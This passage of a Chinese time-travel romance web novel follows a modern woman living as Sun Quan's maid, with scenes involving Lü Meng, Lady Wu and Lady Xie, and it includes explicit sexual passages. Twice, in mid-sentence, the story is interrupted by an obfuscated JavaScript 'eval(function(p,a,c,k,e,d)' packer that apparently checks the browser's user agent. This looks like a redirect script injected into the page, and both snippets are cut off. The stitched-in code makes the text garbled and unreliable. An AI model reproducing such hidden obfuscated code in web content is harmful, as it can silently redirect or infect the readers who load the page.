“慢点喝。咳……那什么,外袍,你的……露出来了。” “这点,不存在。” 孙权气到全身发抖,挪了点位置,望见屋内另一人。榻上之人,云鬓微乱,脸颊还带着宿醉的潮红,身上裹着明显不合身的宽大外袍。 是吕蒙的。 方才吕蒙所说露出来的,不过是脚背。 步一乔蹙着眉,喝了两口吕蒙端来的醒酒汤,忽有所感,抬眼向门边望去。 四目相接。她怔住了。 吕蒙顺着她的目光回头,看见立在门边的孙权,先是一愣,随即露出惯常那副爽朗笑容:“仲谋?你怎么来了?正巧,这丫头刚醒,头疼得厉害——” 孙权没有笑,冷声打断:“子明你先出去。我有话,需单独与她讲。” 吕蒙看了眼步一乔煞白的脸,犹豫地端着汤药碗起身,原地站了会儿又坐下。 “有什么话,待会儿再说吧。她刚醒,身子还虚着,你现在跟她讲,她也听不进去。” 孙权眉头蹙紧,“我自会斟酌,你先出去。” “我说真的!你看她,被你吓得嘴唇都没血色了。我若真出去,留你俩单独在这儿,她还不得被你这架势吓出个好歹!” 步一乔蜷在床榻内里,极小声道:“……倒也没那么夸张。” 吕蒙却忽然站了起来。他将药碗往旁边小几上一搁,转身竟一把拉住孙权的手腕,不由分说地将人按着坐在了床榻的另一侧。三个人以一种极其古怪又微妙的阵势,围坐在了这方寸之间。 “仲谋,我……有个不情之请。” “……请讲。” “反正,你们孙家规矩大,断不会允你娶一个无家世背景的女子。既然如此,你要不……把她许配给我吧。” “啊?!”步一乔震惊。 孙权眸光一凝,“为何?” “你看我,年纪不小了,人又粗笨,没什么家世清白的好姑娘愿意接近。” 吕蒙顿了顿,飞快地瞥了一眼目瞪口呆的步一乔。 “她……倒是例外。我瞧着挺好,就、就想问问你。毕竟,她是你的人。” “喂,吕子明……你认真的啊?” 孙权听着步一乔这话,不动声色看向她。吓得步一乔赶紧拿袖子捂住嘴,大气不敢再出。 “府上别的侍女,你若看中,都可商量。唯独她,不行。” “你既不娶,让与我何妨?” “我娶不得,也不会让与任何人。” 吕蒙怔了怔,没料到孙权会答得如此干脆。 步一乔从衣袖上方露出眸子,看看吕蒙,又怯怯地瞟向孙权,最后飞快地垂下去。 “大早上的,何必说这些让人心乱的话。我头还昏沉着呢。” “自找的。一杯就醉,还敢喝这么多。” 孙权说着刻薄的话,手却探上步一乔的额头、脸颊。 “头还疼得紧吗?身上可有别处不适?” “原本只是头疼,胃也翻腾得难受。不过被你吓着了,现在浑身都不舒服。” “多大的人,这点分寸都控制不好。” 他说着,替她将松散的被角仔细掖紧。 “子明,暂且让我与她单独谈谈吧。” “……好吧。” 吕蒙起身,看着步一乔的面色,又留下句:“我就在门外,有事你叫我。” “门外不可。”孙权却截断他的话,“一个时辰内,不要让人靠近这间屋子。” * 孙权等门扉合拢,室内寂静下来,转身看向榻上的人。步一乔仍裹着被子,只露出一双眼睛,湿漉漉地望着他。 “怕了?” 她轻轻点头,又摇头。 “昨夜为何喝那么多酒?” “……心里闷。” “心里闷,便拿身子来折腾吗?” “也没想过来此喝酒的……事出有因,无可奈何。” 于是步一乔将昨夜在后院偶遇吕蒙之事,掐头去尾地讲述给孙权听。 “所以你们……只是喝酒?” “不然呢。他可是吕子明,背叛谁也不可能背叛你啊。再说了,你以外的男人,我可没兴趣。” “那为何只是喝酒,衣裳却没了?” “呃……酒打翻了,衣服弄湿了,吕蒙找侍女帮我换下来,拿去洗了晾晒。” 见孙权似是松了口气的样子,步一乔坏笑着凑近。 “二公子吃醋了呢。新婚第一天,这个时辰,不该陪着新夫人敬茶见礼么,怎会来这儿?” 孙权瞥她一眼,抬手轻抵她额头,将人稍稍推远。 “有人彻夜不归,自然要出来寻。” 步一乔却不肯退,反而又向前贴近。衾被自肩头滑落几分,露出一截纤细的锁骨与白皙肌肤,赤裸裸地勾引。 “既是寻着了……然后呢?” 孙权将散落的被褥拉上盖住她,一手扒掉吕蒙的外袍,让步一乔换上自己的外袍。指尖刻意擦过裸露的温热肌肤,他知道步一乔受不了这等若有似无的触碰,定然会打个颤,别过眼去。 也果不其然。她身子轻轻一抖,偏开视线,耳尖迅速染上薄红。 不过很大程度源于方才毫无征兆扒掉的举动,步一乔吓得以为要上演一出什么霸王硬上弓的戏码。 “寻着你,然后补偿你的不安。” “补偿?”步一乔轻笑,“之后还有九位夫人要过门呢,你每次都补偿我?” “嗯。” “嗯?” 孙权的手沿着她肩颈的曲线下移,停在那片细嫩软糯的肌肤上,指尖的温度渗入,步一乔禁不住接连轻颤。 “每次……你心里空一次,我便填一次。填到你不空为止。” 孙权另一只手托起步一乔的下颌,拇指抚过她微启的唇瓣,探入其中,摩擦齿尖。 “昨夜的事,只此一次。” “你说的是洞房花烛夜,还是我与别人宿醉?” 孙权没回答她的问题,俯身吻住了她。 起初只是唇瓣相贴,但步一乔无意识地轻哼,却像是拨断了某根紧绷的弦。他骤然加深,撬开她的齿关,缠住她躲闪的舌尖,吞噬她所有未出口的抗议与呜咽。 被褥形同虚设,步一乔推拒在他胸前的手,擦过胸膛、锁骨,而后环住他的脖颈。 晨光透过窗棂,细细描摹着她裸露的肩背,和他紧揽着她的手臂。他的吻从唇上移开,流连于她敏感的耳后、颈侧,留下湿热的痕迹。 一乔被他圈在怀中,紧密相贴,呼吸乱得不成样子。 “孙权……仲谋……” “嗯。” “我好想你啊……一日不见,如隔三秋。” “嗯。” “放心吧,我不会哭的。一点也不嫉妒,反正,我比她们更先遇见你,更先与你,以天地为证,结为夫妻。” 吻不停,孙权的手掌沿着她腰侧的曲线反复游走。 步一乔脑袋昏昏沉沉的,宿醉占了一半,情欲占了一半。 孙权将步一乔往后轻轻一放,阴影笼罩下来,他撑在她上方,目光沉沉地锁住她氤氲着水汽的眼。 “还觉得空么?”他低声问,指腹抹去她眼角不知何时渗出的湿意。 步一乔摇了摇头,伸手环住了他的脖颈,将发烫的脸颊埋进他肩窝。 “还不够……还有空,没填满。” 他喉间溢出叹息,不再言语,只以更绵密的亲吻和抚触,将她彻底卷入这场由他主导的、无声的补偿与占有之中。 “话说……咱们在吕蒙的床榻上行这等事……不太好吧?” “无妨。” 又过半晌,步一乔噗嗤轻笑,又坏了氛围节奏。 “为何发笑?” “我忽然想起江夏那夜,也是月事刚走,然后——” 步一乔脸上笑容僵住,脑中快速盘算起日子,而后猛地抓住孙权双臂。 “方才第一次……你没□进去吧?!” “没感觉到?” “啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!完了!!!!!!” 但在欲念面前,步一乔很快作罢,心存侥幸。 反正这玩意儿中奖几率不高,不足为惧。 * 屋外,吕蒙拣了个确保听不见内间动静的角落,抱臂坐着出神。 “大清早的,在这儿发什么呆?” 吕蒙抬头,见是凌统,也懒得讲究礼数,只拍了拍身侧的石阶示意他坐下。 “咱们这群老弟兄,可就剩我一个没着落了。”他闷声道。 凌统失笑,“这有何难?看中哪家姑娘,请主公做个媒,还怕娶不上夫人?” “主公?”吕蒙扯了扯嘴角,“他连自己的后院都未必顾得周全,哪还有闲心管我。” “那……仲谋呢?他向来重情,定会为你张罗。” “呵,张罗?”吕蒙摇了摇头,“方才我求他将身边那个侍女许给我,他回绝得干脆利落,半点余地都没留。” 凌统微怔:“侍女……可是那位叫一乔的姑娘?那分明是仲谋房里的人,你怎会开口求这个?” “唉——”吕蒙长长叹了口气,“难得遇到一个相处自在的,谁知早已被人收入囊中了。” 凌统正安慰吕蒙,说着,阶前传来轻柔脚步声。 “见过吕将军、凌将军。” 二人抬眼望去,见一名侍女垂首敛衽,恭敬行礼。 “你是何人?” “奴婢名唤阿舒,是府中侍女。奉主公之命,来问二公子可在此处。” “在里头——” 凌统眼疾手快,一把捂住吕蒙的嘴,截过话头道:“二公子正与要人商议机务,暂不便打扰。你且回禀主公,稍后我与子明自会陪同二公子一道回府。” 阿舒看着两人的姿势,抿唇偷笑,躬身应道:“奴婢明白了,这就回去禀报。” 待阿舒转身离开不见后,凌统才松开吕蒙。 “如何?”他朝阿舒离去的方向抬了抬下颌。 “什么如何?”吕蒙仍有些茫然。 “这姑娘。瞧着伶俐,又是府里的。你方才不是叹无人相投么?何不托人打听打听?既与一乔姑娘同为侍女,想来性情也有相类之处,与你未必不能相合。” “有理啊!方才怎就没想到!唉,光顾着说话,连她模样都没瞧仔细!” 吕蒙望着阿舒离去的方向,半晌才收回视线,喃喃道:“也不知……她愿不愿意。” 凌统拍了拍他的肩膀:“子明,你何时这般畏首畏尾了?打听打听又不少块肉。若真有意,我去替你问问仲谋的意思,总比直接讨他房里人强些。” 吕蒙沉默片刻,终是点了点头。 “也是。再不主动点,我就得孤独终老了!” 江东诸将之中,吕蒙出身寒微,既无世族名望傍身,相貌也偏于粗豪武猛,一身气势全凭战场搏杀而来。 从前他总觉着,自己这般粗人,能得主公赏识、兄弟相托已是万幸,哪还敢肖想什么温香软玉、儿女情长。 凌统瞧出些端倪,直言道:“你可是见仲谋成婚,心下着急了?” 吕蒙歪头想了想,坦诚道:“占了一半罢。另一半……是昨夜与一乔姑娘对饮时,听她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吕蒙扯过凌统的胳膊,凑到他耳边小声道:“我跟你说的吧,‘疯话’,但特别诚恳。我方才也纳闷,你什么时候救过仲谋呢。” 凌统听罢,抱拳还礼:“姑娘言重。我与仲谋情谊颇深,何谈谢字。” * 告别二人后,步一乔见庭中春光正好,便邀孙权缓步同归。一夜酣畅过后,她全然忘了今日是何特殊日子,只想着二人一为公子一为侍女,总不至于惹来多少闲话。 步一乔眼睛倏地睁大,拽了拽孙权的衣袖,狡黠道:“凌统与周泰,若选一人与你单独前往山林生活五日,你选谁?” 孙权失笑:“这算什么问题?” “想一想嘛,就当解闷。” 见步一乔不依不饶,孙权道:“幼平(周泰字)。” “果然如此。”步一乔抿嘴一笑,又追问,“那若是朱然与周泰呢?” “若是去山林闲居,便选义封(朱然)。若是涉险而行……仍是幼平。” 孙权答得坦荡,步一乔却听出些别的意味来。她放慢脚步,侧首看他:“你这分明是心里早有计较,什么人做什么事,什么场合带什么人,都盘算得清清楚楚。” “将为帅者,自当知人善任。”孙权望向不远处临街初绽的桃枝,“就如你昨夜‘偶遇’子明,也未必真是偶然。” 步一乔忽地心虚,面上仍挂着笑:“二公子这是疑我?” 孙权转回视线,“疑你什么?莫非疑你是故意接近子明,还是疑你……另有所图?” 她忽然说不出话。 晨风穿过吴郡繁华街道,卷起几片残英。孙权停下步子,抬手捻去她鬓边一片粉嫩花瓣。 “你与子明此番重来,并未相识。所以,昨夜怎会与子明遇上?” “去寻某人,结果寻到他了。” “寻我?何处寻我?你去过我厢房?” 步一乔紧张得厉害,接连轻咳,视线飘忽。 “同屋的侍女拉我去听墙角,结果跑错,到了伯符窗外。然后又拉去干活儿,没睡着,便在院中漫无目的地走啊走啊走——” “说紧要的。” “……便去了你房里。” “进去了?” “……没、没有。” “你撒谎了。” “呃……进了。又立刻逃出来,跑的途中,撞到了吕子明……” 孙权静静地看着她,良久,才缓缓问道:“所以你……听见了?” 步一乔急切地摇头摆手:“没有没有!什么都没有!我去的晚,你放心,是什么也没听见!” 俗话说得好,解释得越用力,越显得欲盖弥彰。步一乔此等反应,孙权肯定往反了想。 “偷听心上人洞房夜的墙角,还推门而入……我从前怎么不知,你这么勇?” 步一乔耳根烧得通红,想说些什么辩解,可舌头像是打了结。 “所以,你都看见了什么?”孙权又问。 “没、没看见!真的!我推开门,屋里黑漆漆的,我、我转身就跑了!绝对没看到地上散落的婚服!” 步一乔愣住,恨不得地上有块砖,将自己拍晕过去。 孙权彻底沉默了。 他原本只是顺着步一乔那句“什么都没听见”,试探性地问一句“看见了什么”,却万万没想到能诈出如此……详实的细节。 “原来,不仅听见了,看见了,连……地上散落的婚服,都看得这般清楚。” 孙权顿了顿,目光落在她几乎要燃烧起来的耳垂上。 “所以,才气得随子明回府,乃至……同榻而眠?” 这下轮到步一乔茫然。 “同塌而眠?我和吕蒙??” “爱听墙角的可不止你们。吕府今早去唤他的侍从,看得清清楚楚。别跟我说……你们酣畅到,什么都不记得了。” 孙权直视步一乔的眼睛,上前一步逼近。 “你可知,我为何抛下礼数体统,不顾家中一切,甚至不论身在何处……也要与你厮缠?” “为、为何?” “我总得让你清楚……你该在谁的榻上。你是不是忘了,我孙仲谋,骨子里是什么性子?拒绝与我私奔那夜发生了什么,你忘了?” 92. 晨曲 酒盏碎裂,室内一静。 吴夫人面沉如水,孙策在一旁无奈挠头,递来求助的目光。新过门的谢夫人侍立一旁,眼神却频频飘向门外。 “仲谋人呢?”吴夫人问跪在堂下的阿舒。 “在……吕蒙大人府上议事。” “当真议事?屋里就没藏什么人?” “奴婢未见……” “怕是连二公子人都没见到吧。” 阿舒不敢再应。 此时,大乔轻轻按住孙策的手,起身走到吴夫人身侧,柔声劝道:“母亲息怒。仲谋向来知轻重,许是军务紧急。” 孙策连忙附和:“是啊母亲,仲谋他——” “身为主公,公私分明!不许帮你弟弟说话!” 吴夫人厉斥,孙策只好噤声。 话音未落,谢夫人轻声开口:“可妾身听闻……昨夜吕大人回府时,带走了一位名叫‘一乔’的姑娘。虽是下人闲话,但事关仲谋名誉,不敢不禀。” 吴夫人手中的茶盏被重重搁在案上,倏然盯向阿舒:“你说未见他人,那这位‘一乔’,是从何处冒出来的?” 阿舒瑟瑟发抖:“奴婢……奴婢确实不曾见到……” 谢夫人温言:“母亲莫急。许是讹传也未可知。”她又抬眼望向大乔,“姊姊以为呢?” 大乔迎上她的视线,温婉笑道:“既是传言涉及仲谋与吕将军,不如请他们当面说清为好。” 孙策连连颔首:“大乔说得对!我这就派人去吕蒙府上——” “不必了。” 堂外忽传来一道清朗声音。 孙权步入堂中,依次行礼,最后瞥向伏地的阿舒:“起来吧。” 吴夫人冷眼看他:“还知道回来?” “军务耽搁,请母亲恕罪。” “军务?”吴夫人冷笑,“只怕不是军务吧?” 孙权顿了顿,目光落在谢夫人脸上。谢夫人微微垂眸,避开了他的视线。 “不敢隐瞒。昨夜子明醉酒,误将我房中侍女带回府。今晨方知,特去处置。” “那阿舒为何未见此人?” “一乔知错,躲在耳房。阿舒来时,我正于后院训话,故未得见。” “你?一乔?”大乔疑惑。 “你?那侍女?”孙策疑惑。 二公子?一乔?阿舒内心疑惑。 三人反应让吴夫人眉梢微挑。府中大约只有她和谢夫人尚不清楚,孙权对这名侍女何等上心。 她早知二儿子心中有个人。此刻看来,怕是不简单。 孙权以拳抵唇,轻咳一声:“是我房中之人,自当由我管教。” “人呢?”吴夫人道。 “一乔,进来。” 步一乔垂首入内,在孙权身侧跪坐行礼。 “昨夜在吕府过夜?”吴夫人问。 “是。” “未出阁的姑娘,在男子府中留宿?” “只陪饮了几杯,未曾越矩。” 吴夫人打量她平凡面容,实难信孙权会倾心于此女。更蹊跷的是她来历——父母、过往皆无据可查,府中上下竟都信了那套说辞。 “好。那便将方才仲谋训诫你的话,一字不差,再说一遍。” 步一乔身形微僵,飞快瞥向孙权。他神色从容,仿佛笃定她能应对。可怜她只能心中叫苦,方才在吕府,他那番“训斥”……哪有一字能见光? “怎么?说不上来?” “二公子训诫奴婢……不知轻重,擅离府邸,有损清誉,连累公子声名……命奴婢静思己过,下不为例。” 她顿了顿,忽然提高声调,似要表决心:“奴婢定当洗心革面,为孙府当牛做马,山崩地裂也绝不懈怠!” 大乔掩袖轻咳:“倒也不必如此……” 孙权几不可察地牵了下嘴角,随即正色接话:“母亲,她已知错惶恐,以至语无伦次。儿子亦有疏忽,未妥帖安顿新妇便离家,恳请母亲宽宥。” 吴夫人面色稍缓,伸手握住身旁谢夫人的手,道:“新婚头日便冷落新妇,这话传出去,岂非让吴郡笑话?” 话虽对着孙权,目光却扫过步一乔。最后落回谢夫人,轻拍她手背。 “罢了。你既已赶回来,也处置了,此事便到此为止。只是——” 吴夫人话锋一转,直直刺向步一乔: “这婢子行事不端,昨夜之事虽未坐实,然闺誉已损,再留于仲谋房中,恐惹更多闲话。” 孙策与大乔交换眼神,谢夫人垂眸不语。步一乔跪得腿麻,只觉腰酸。 吴夫人继续道:“不如调她去后厨或浣衣处,磨磨性子,也免旁人揣测。仲谋以为如何?” “母亲思虑周全,如此甚妥。” 步一乔悄悄松了口气。远离风暴中心,未必是坏事。 然而孙权下一句,却让那口气堵在了胸口。 “只是一乔此次过失,实因府中大喜、子明醉酒所致。她素来胆小,骤调陌生处所恐难适应。况且,她将我照顾得周全。若离了她,儿子不太习惯。” 步一乔猛地抬头,撞进孙权那双沉静的眼眸里。 他看着她,神色如常。 她看着他,神色如同在说……孙仲谋你是不是疯了! 这句话,在此时此刻,无异于惊雷。除了孙权,也就他兄长能做出与众不同的反应。 “好样的仲谋!” 正震惊着的五位女子齐齐看向孙权,又因这话,倏地将目光尽数转向声音来处。 孙策拍了拍弟弟的肩膀,全然不顾母亲黑沉的脸色,以及谢夫人苍白的脸。 “男子汉大丈夫,是该护着自己房里的人!”孙策笑道,又转头看向吴夫人,“母亲,我看仲谋说得在理。一乔这丫头我虽见得少,但瞧着是老实本分的。昨日那般混乱,错不全在她。仲谋既用惯了,留下便是。” 吴夫人被他这番歪理气得胸口发闷:“伯符!你……” “母亲,您就别为难仲谋了。他打小就这性子,瞧着不声不响,认准了的人和事,几头牛都拉不回来。” 孙策浑不在意地摆摆手。 “您忘了?他七岁那年,不知哪儿认识个虚虚实实的姑娘,独自在山里过了一夜,回头还在庐江四处寻人。劝他八百回都没用,直到把庐江翻遍了才死心。” “欸?”步一乔眼睛倏地睁大,望着孙策,“此话……当真?” 孙策微怔,随即笑开:“自然。为此他可没少挨训。怎么,他没同你说过?” 步一乔迟缓地摆首。 孙策倒来了兴致,一旁的大乔和谢夫人也摆出洗耳恭听的姿态。 “那时,仲谋与义封(朱然)同读,寻不着人,义封便说仲谋遇见的是山鬼,特来考验他心智的。但见仲谋太纯情,所以一怒之下再未出现。为了‘帮’仲谋,义封竟寻来禁书给仲谋——” “兄长!”孙权出声打断,眼神示意母亲面色。 孙策这才觉察不对,轻咳一声正色道:“咳……总之,孩童胡闹罢了。母亲,仲谋已能独当一面,既决意留人,便由他罢。” 屋内气氛沉重,吴夫人的目光在孙权与步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看他这副胜券在握的样子,步一乔脊背竟窜起一阵寒意。 “你……你想做森什么?我可提前打招呼,不可以再改动历史了!” “放心吧,江东与你,同等重要。” 曾经,江东大于一切。如今,同等重要。 步一乔蹙眉:“你到底想怎么做?” 孙权只是轻抚她发梢,笑意温存,却不作答。 “孙仲谋!”她有些急了。 他不再回应,转身继续朝孙府走。步一乔追上两步,扯住他衣袖。 “你不说清楚,我不回去。” 孙权停下脚步,侧过脸看她,引着她的手往自己的掌心牵住。 “有些路,只需知道终点在何处便好。就像农人播种,未必知晓每粒谷如何生根,但只要时节到了,土地润了,苗自然会发,果自然会结。” 要的是结果不变,换言之,要的是孙氏血脉传承,要的是子嗣。对生其子的母亲,史书从来都是一笔带过。 这便是孙权的计划。在他心中堪称完美的计划。 步一乔听得云里雾里:“什么播种结果?我怎么听不懂呢?” 孙权极轻地笑了声。 “春耕将至,此时播种,便可在秋时收获。粮仓盈满,哪怕寒冬漫长难熬,也有底气等待春暖。” 若一乔诞下一子,届时母亲再想为难,也得思虑再三。 步一乔更加茫然,孙权捏了捏她的指尖,继续向前走去。 “饿不饿?吴郡街头的早膳,可要尝尝?” “尝!不对,你有撇开话题!所以你刚才在说什么啊?” “夸你聪明,若是被母亲刁难、逼问,我不在你身边,也定应酬帷幄,对吧?” “那当然!我步一乔去年辩论赛可是最佳辩手!” 与吴夫人争锋两次,早已不足为惧! 93. 归零 【孙府,主屋】 众人退下,屋内仅剩步一乔与吴夫人。 “我再问你一遍,‘一乔’这名字,当真是仲谋取的?” “是……” “你与仲谋,究竟是如何相识的?” “奴婢流落至吴郡,二公子见孤苦无依,便——” “说谎。” 吴夫人的声音不高,却截得干脆。步一乔沉下气。 “奴婢不敢欺瞒夫人。” “是吗。” 吴夫人不再看她,起身行至一旁,取来一方素白无纹的绣帕,连同针线盒,搁在步一乔面前。 “明日早膳之前,将这帕子绣好呈来。” 步一乔盯着那空无一物的白帕,不敢接下。 “……奴婢不善女红。” “身为婢女,连针线都不会,仲谋留你何用?” 步一乔想起前两次交锋,此刻却不敢再辩。她垂眸,将话咽回。 “奴婢明白了,定当赶工完成。” 她欲退,座上却传来一声轻叩。 “我何时允你走了?” 步一乔身形顿住,重新转身伏跪于地。 吴夫人端起手边半凉的茶盏,不饮,只望着盏中沉浮的叶梗。 “仲谋心头有位意难平的姑娘,十一年不曾忘。按理说,若不得相见,再深的执念也该淡了。依你看,这是为何?” 步一乔叩首闭眼差点睡着。额角胀痛,低声道:“奴婢不知。” “那就跪着慢慢想。” 吴夫人不再言语。步一乔神思昏沉,却并非在想那问题,而是盘算着另一件事。 上一次陪孙权度过接任初期,邂逅了鲁肃,竟忘了接触顾雍。此人日后至关重要,须得早做铺垫。还有孙策方才提到的朱然,也不知是何模样。 “想好了吗?”吴夫人问。 步一乔维持着伏地的姿态,道:“想好了。” “说。” “若一个人在尚不知‘执念’为何物的年纪,已将另一个人的影子刻入骨血,那么往后岁月,见或不见,并无分别。那不是‘不忘’,而是‘从未能忘’。像呼吸、吃饭,寻常到无需记起,也从未忘记。” 长久的沉默。 吴夫人极轻地笑了一声,笑声空落。她起身,停在步一乔面前:“抬头。” 步一乔缓缓直身,抬起脸。额上带着红痕,眼底却无惧色。 吴夫人垂眸看她良久,弯腰拾起那方素白锦帕,对折,轻轻塞进步一乔衣襟之间。 “这帕子,不必绣了。” 步一乔一怔。 “仲谋自小听话,我不会为难他身边的人。我只望他做好本分,辅佐伯符。” “本分……联姻?”步一乔下意识道,“为何不是大公子?” 吴夫人沉默片刻。 “伯符的发妻……便是联姻。且是与我孙家有灭门之仇的陆家之女。” 步一乔震惊。史书上可没有这段啊! 吴夫人抬手,厉声道:“此事到此为止。方才所言,你只当从未听见。不泄露给任何人。” * 步一乔快步走出,脑中疾转:陆氏……庐江陆康。 孙策当年破庐江,陆氏宗族死伤过半,这“灭门之仇”四字,确不为过。可孙策那位史册无名的发妻,竟出自陆家? “一乔。” 一道温静的声音自身后响起。 步一乔倏然回神,转身望去。 谢夫人正立在廊柱旁,素衣淡容,不知已站了多久。她手中捧着一件叠好的披风,目光落在步一乔微敞的衣襟处,吴夫人塞入的素帕。 “方才见你穿得单薄,便唤阿舒取了件披风来,当心着凉。” 谢夫人上前,将披风披在步一乔肩上。 步一乔怔住,一时不知该谢还是该避。 “谢谢谢夫人……” 谢夫人莞尔一笑,道:“不必谢。仲谋对你上心,我也该上心才是。” 还真是来阴阳怪气的。 步一乔立刻取下披风,反为谢夫人披上:“夫人放心,二公子只是怜悯我身世孤苦。您与二公子夫妻同心,日后定当恩爱绵长。” 谢夫人肩头微沉,静默片刻,才轻声道:“你倒是……很会说话。” “奴婢只是尽本分。”步一乔又抬眸望她,故意道,“昨夜……是夫人与二公子的洞房花烛,想来定是美满的?” 谢夫人笑意倏然凝固。良久,才低声道:“嗯……挺好的。” 这显然不是挺好的样子,莫非因为行完房事后,孙权没在屋中过夜到天明的缘故? 谢夫人转身欲走。侧脸的瞬间,一滴泪光飞快滑落,没入衣领。 步一乔独自站着,心底发堵。她想起史书记载,不过短短两年夫妻生活,谢夫人因孙权欲纳徐氏而不肯让位,失志早卒。 “谢夫人!”她终究唤出声。 谢夫人脚步一顿,未回头。 步一乔快步绕至她面前。那张清丽的脸上泪痕犹湿,眼眶通红,却强忍着不再落泪。 步一乔取出怀中那方素帕,极轻地拭过她的脸颊。 “别哭,不值得。” 谢夫人怔怔望着她,抓住她执帕的手腕:“你不懂……” 步一乔任由她抓着,另一只手轻轻覆上她手背:“我懂的。人在眼前,心隔千山。更何况,是你一心想要嫁的人。” 谢夫人眼中的泪再次涌出,没有躲。 “你为何会知道……” “是啊,为何呢?”步一乔笑了笑,“曾有位姑娘,亲口告诉我的。” 谢夫人恍惚,连泪都忘了落:“那位姑娘……如今在何处?” 步一乔收回目光,将帕子折好塞回怀中。 “嫁给心上人,担心不会幸福,但后世笔墨记得‘爱幸有宠’。” 【吴主权谢夫人,权母吴,为权聘以为妃,爱幸有宠。——《吴书》】 谢夫人怔住,似懂非懂:“一乔……我们,曾经见过?” “未曾。” “当真?” “当真。方才屋内,是我们此生第一次见。” * 入夜,步一乔寻至书房,孙权果真还在此处,端坐案前。 “二公子正处理公务呢。” “嗯,等我片刻。” “没事儿,您忙您的,我说我的。” 孙权抬眸瞥了她一眼,未置可否,算是默许。 “我在想,您与谢夫人若能恩爱和睦,做对人人称羡的夫妻,多好。” 孙权笔尖一顿,墨迹在布帛上洇开一点。静默片刻,他才继续落笔。 “不必。” “孙仲谋!你又耍小性子!” “联姻而已,她心中有数。无需做戏。” 步一乔暗暗咬牙,这吃软不吃硬的孙仲谋,还得换套法子。 她在孙权身旁坐下,凑近贴上他,声音压低。 “二公子,您可听说过‘出轨理论’?” 孙权眼皮微跳:“……不曾。” “就是说,两个人若永远一心一意,反难长久。偶尔思想开个小差,感情反倒更稳。” 孙权缓缓搁下笔,抬眼盯住她:“这些歪理邪说,究竟是谁教你的?趁早忘了。” “我说真的!”步一乔理直气壮。 “我说假的。”孙权揉了揉眉心,“苦读诗书十六载,你就悟出这些?” “我学的是正经学科,这些是生活智慧。” 孙权摇首轻叹,似是无奈,道:“说罢,你又想让我如何做?” “您该日日与谢夫人同房,让她尽早怀上子嗣。怀得越快,外人便越会觉得您二人鹣鲽情深,然后——” “步、一、乔。” 孙权抬眼望来,眸色沉得骇人。步一乔被他看得心头一悸,话音戛然而止。 “怎、怎么了?” “你可知自己在说什么荒唐话?” 步一乔避开视线,“史书说了,爱幸有宠,而且你的长子,也该有着落了。” “是么。” 孙权搁下笔,捏住步一乔的下颌,迫使她转过头来看着自己的眼睛。 “所以,更重要的是长子,对吗?” “……嗯。” “最重要的,是孙权的血脉,对吗?” “……嗯。” “那么,与何人所生,并不紧要,是么?” “啊?” 步一乔察觉话被绕进去时,已迟了。 唇上一凉。 没有预兆,孙权俯身吻住了她。力道带着微痛,吞没所有。她向后仰,后颈却被手掌扼住,断了退路。 “你又掐我……” “这不叫掐,是怕你逃走。” “我没说要逃啊呜~” 后背撞上书架,竹简哗啦散落。孙权手臂横在她头顶,挡开坠物。 吻却更深。 他舌尖尝到她下唇的颤栗,随即侵入。步一乔发着抖,双腿不自觉夹紧,手攥紧他衣袖,分不清是想推还是抓。 要继续吗?在这里?让他新婚第二夜继续留宿书房? 纷乱思绪被下一个吻搅碎。 “嗯……” 她忽然抬手环住他脖颈,近乎莽撞地迎上去,反客为主地加深这个吻。 “仲谋,你今夜哪儿都不许去。” 孙权喉间逸出低笑:“方才谁说‘出轨理论’?” “我只说今夜。”她喘息着,“没你……我睡不安稳。” 散落的竹简声,被摩挲的细响取代。 吻从唇移向颈侧。步一乔仰头喘息,感受他齿尖在那里不轻不重地一磨。 “别留痕迹……会被看到……” “这是惩罚。” 孙权嗓音沙哑,手掌探入她衣襟。微凉指尖触及肌肤,引得她一阵轻颤。 书架棱角抵着背脊,身前是他滚烫的压迫。冰火交织,意识渐模糊。 “窗户,门……是不是没关……我怕外面……有人……” “没人。只有你和我。” 腰封松开的刹那,衣袍滑落肩头,露出温润肌肤。衣料堆叠在臂弯,欲坠未坠。 孙权动作顿住,目光凝在她身上,看得出神。 从前为何没发觉,一乔竟有如此妩媚的一面? 步一乔没抬眼,只虚望着摇曳的烛火。空气贴上裸露的肩颈,激起细微瑟缩。肩骨微收,这造型……怪性感的,弄得人扭捏了几下。 更妩媚了…… 气息忽然变得粘稠,熏香余烬混着肌肤暖意,无声弥漫。 “一乔……” “你别盯着我看啊,我……” 孙权将她往怀中一带,转身抵在书案边缘。 “我果然不是什么正人君子。见你这般,直接乱了方寸。” “说什么呢……灯太亮,灭了吧。” “亮些才好,还没看够。” 里衣系带被扯开,掌心贴着她腰侧上移。她轻哼,齿关松开,任由他的舌深入。手指插入他发间,墨色发丝从指缝滑落。 手臂穿过她膝弯,稍一用力,将她抱上书案。背脊贴上冰凉案面,步一乔轻呼,随即被他覆上来包裹。 “冷吗?” “不冷……” 梁木在视线里晃动,明明灭灭。 “仲谋……我们是不是又搞砸了?” “为何?” “说好顺着历史,我怕又出乱子……” 他低笑,吻了吻她汗湿的额角:“怕什么,我陪你。” “这话……早没信誉了。” “这次定然作数。谁来威胁,我都不会将你交出去。” 最后的蔽体之物滑落,她将发烫的脸埋进他肩头。吃痛时,齿尖陷入他颈侧,久久未松。 …… 孙权将绵软的步一乔圈入怀中,抱向书房内侧的窄榻。 尚未结束。 他的吻再次落下,从眉心至锁骨,虔诚而灼热。上颚似乎是个敏感带,每一次抵触都会带来一声类似吃痛的闷哼。最初的涩痛被他耐心抚慰化解,余下的便是汹涌的潮汐,随他灵活自如,格外游离的舌的每一次深入席卷全身。 汗水交融,呼吸纠缠。她咬住他肩头,将呜咽吞下。他却偏要听,吻着她耳垂诱哄。 “出声,一乔。” “不要……” “听话。” “不要啊……” “乖,我想听。” 低沉的诱哄击溃最后防线。细碎泣音终于溢出她唇畔。 烛火不知何时熄灭,月光朦胧映出榻上起伏的轮廓,与散落一地的衣衫。 * 夜深,步一乔蜷在孙权怀中昏昏欲睡。 